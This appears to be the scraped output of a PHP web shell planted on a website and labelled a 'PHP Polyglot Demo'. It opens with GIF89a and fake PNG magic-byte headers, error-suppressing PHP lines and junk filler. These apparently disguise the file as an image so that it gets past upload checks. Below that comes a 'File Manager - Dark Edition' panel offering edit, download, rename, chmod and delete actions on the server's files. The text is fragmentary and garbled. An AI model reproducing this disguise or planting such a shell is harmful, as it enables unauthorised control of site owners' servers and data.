GIF89a就感觉计算结果监管机构 @ini_set('display_errors', '0'); @ini_set('log_errors', '1'); error_reporting(E_ALL); PNG %k25u25%fgd5n! PNG %k25u25%fgd5n! PNG %k25u25%fgd5n! PNG %k25u25%fgd5n! "\"\ $假PNG头 = "\x89PNG\r\n\x1a\n"; $假PNG头 = "\x89PNG\r\n\x1a\n"; PNG %k25u25%fgd5n! PNG %k25u25%fgd5n! GIF89a PHP Polyglot Example

PHP Polyglot Demo

File Manager - Dark Edition

Name	Type	Size	Permissions	Modified	Actions
📁 Parent Directory
📄 Files
📄 .htaccess	HTACCESS	199 B	rw-r--r--	2026-04-02 13:41	Edit Download Rename Chmod Delete
📄 error_log	FILE	347 B	rw-r--r--	2026-04-04 03:57	Edit Download Rename Chmod Delete
📄 index.php	PHP	386 B	rw-r--r--	2026-03-26 14:01	Edit Download Rename Chmod Delete

PHP Polyglot Demo

📁 File Manager - Dark Edition